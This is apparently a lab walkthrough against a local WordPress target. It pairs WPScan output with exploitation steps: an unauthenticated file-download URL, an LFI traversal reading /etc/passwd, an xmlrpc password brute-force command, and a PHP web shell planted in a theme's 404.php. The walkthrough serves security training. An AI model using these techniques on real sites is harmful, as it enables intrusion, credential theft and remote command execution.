|   - X-TEC-API-VERSION: v1
|   - X-TEC-API-ROOT: http://blog.exemple.local/index.php?rest_route=/tribe/events/v1/
|   - X-TEC-API-ORIGIN: http://blog.exemple.local
|  Found By: Headers (Passive Detection)
|  Confidence: 100%

[+] XML-RPC seems to be enabled: http://blog.exemple.local/xmlrpc.php
|  Found By: Direct Access (Aggressive Detection)
|  Confidence: 100%
|  References:
|   - http://codex.wordpress.org/XML-RPC_Pingback_API
|   - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
|   - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
|   - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
|   - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://blog.exemple.local/readme.html
|  Found By: Direct Access (Aggressive Detection)
|  Confidence: 100%

[+] Upload directory has listing enabled: http://blog.exemple.local/wp-content/uploads/
|  Found By: Direct Access (Aggressive Detection)
|  Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://blog.exemple.local/wp-cron.php
|  Found By: Direct Access (Aggressive Detection)
|  Confidence: 60%
|  References:
|   - https://www.iplocation.net/defend-wordpress-from-ddos
|   - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version [REDACTED] identified (Insecure, released on 2020-06-10).
|  Found By: Rss Generator (Passive Detection)
|   - http://blog.exemple.local/?feed=rss2, <generator>https://wordpress.org/?v=5.1.6</generator>

Identify the WordPress theme in use.

[+] WordPress theme in use: [REDACTED]
|  Location: http://blog.exemple.local/wp-content/themes/twentynineteen/
|  Last Updated: 2025-04-15T00:00:00.000Z
|  Readme: http://blog.exemple.local/wp-content/themes/twentynineteen/readme.txt
|  [!] The version is out of date, the latest version is 3.1
|  Style URL: http://blog.exemple.local/wp-content/themes/twentynineteen/style.css?ver=1.3
|  Style Name: Twenty Nineteen
|  Style URI: https://github.com/WordPress/twentynineteen
|  Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty …
|  Author: the WordPress team
|  Author URI: https://wordpress.org/
|
|  Found By: Css Style In Homepage (Passive Detection)
|
|  Version: 1.3 (80% confidence)
|  Found By: Style (Passive Detection)
|   - http://blog.exemple.local/wp-content/themes/twentynineteen/style.css?ver=1.3, Match: 'Version: 1.3'

Submit the contents of the flag file in the directory with directory listing enabled.

[+] Upload directory has listing enabled: http://blog.exemple.local/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

Open this address and the file to get the flag.

Identify the only non-admin WordPress user. (Format: <first-name> <last-name>)

[i] User(s) Identified:

[+] erika
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Display Name (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] admin
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Display Name (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] [REDACTED]
 | Found By: Author Id Brute Forcing - Display Name (Aggressive Detection)

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 5
 | Requests Remaining: 20

Use a vulnerable plugin to download a file containing a flag value via an unauthenticated file download.

I found that the CVE from this list with the number 2019-19985 is related to an unauthenticated file download, as shown in the image below.

https://www.exploit-db.com/exploits/48698

Knowing this, I checked the Wordfence blog, which listed all the CVEs, to get more information. However, no proof of concept was provided there. So I read Packet Storm’s disclosure about this vulnerability, which did describe a proof of concept. This vulnerability can be exploited by appending the following to the URL of the target WordPress web server subdomain:
/wp-admin/admin.php?page=download_report&report=users&status=all
After navigating to that page in a browser, the page itself remains unchanged, but a new file is downloaded, as shown in the image below.

http://blog.exemple.local/<code>wp-admin/admin.php?page=download_report&report=users&status=all</code>

Open this file to get the flag.

What is the version number of the plugin vulnerable to an LFI?

[+] site-editor
| Location: http://blog.exemple.local/wp-content/plugins/site-editor/
| Latest Version: 1.1.1 (up to date)
| Last Updated: 2017-05-02T23:34:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| [!] 1 vulnerability identified:
|
| [!] Title: Site Editor <= [REDACTED] - Local File Inclusion (LFI)
|     References:
|     - https://wpscan.com/vulnerability/4432ecea-2b01-4d5c-9557-352042a57e44
|     - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7422
|     - https://seclists.org/fulldisclosure/2018/Mar/40
|     - https://github.com/SiteEditor/editor/issues/2
|
| Version: 1.1.1 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
|  - http://blog.exemple.local/wp-content/plugins/site-editor/readme.txt

Use the LFI to identify a system user whose name starts with the letter “f”.

For this task, my goal was to use the LFI vulnerability described above to determine the username that starts with the letter f on the target web server.

To that end, I reviewed the full Seclists disclosure about this vulnerability, which also demonstrates how a PoC can be executed using it. I appended the following to the URL of the target WordPress subdomain:
/wp-content/plugins/site-editor/editor/extensions/pagebuilder/ajax_shortcode_pattern.php?ajax_path=/etc/passwd – this will invoke the passwd file stored in the target web server’s /etc/ directory and display it in the browser to anyone who accesses that URL.

http://blog.exemple.local/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../../../../../../../../../../../etc/passwd

Obtain a shell on the system and submit the contents of the flag in the /home/erika directory.

Use WpScan to find the password using the rockyou.txt list.

sudo wpscan --password-attack xmlrpc -t 20 -U erika -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt --url http://blog.exemple.local
$ sudo wpscan --password-attack xmlrpc -t 20 -U erika -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt --url http://blog.exemple.local


   ____  __          _____
  / __ \/ /_  ____  / ___/_________  ____ _____ ___
 / / / / __ \/ __ \/ /_/ / ___/ __ \/ __ `/ __ `__ \
/ /_/ / / / / /_/ / __/ (__  ) /_/ / /_/ / / / / / /
\____/_/ /_/\____/_/   /____/ .___/\__,_/_/ /_/ /_/
                           /_/

 WordPress Security Scanner by the WPScan Team
 Version 3.8.28
 Sponsored by Automattic - https://automattic.com/
 @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart



[+] URL: http://blog.exemple.local/ [127.0.0.1]
[+] Started: Thu Oct  9 11:25:16 2025


Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.29 (Ubuntu)
 |  - X-TEC-API-VERSION: v1
 |  - X-TEC-API-ROOT: http://blog.exemple.local/index.php?rest_route=/tribe/events/v1/
 |  - X-TEC-API-ORIGIN: http://blog.exemple.local
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[!] Valid Combinations Found:<br>| Username: erika, Password: 010203

Login in the wordpress using this credential.

Click on the Apparence link

After on Theme Editor and 404 Template (404.php)

Don’t forget to change the theme

Insert the script bellow:

system($_GET['cmd']);

Use the link to list the files of the folder

http://blog.exemple.local/wp-content/themes/twentyseventeen/404.php?cmd=ls%20/home/erika/

Use the command cat to read the file and get the flag.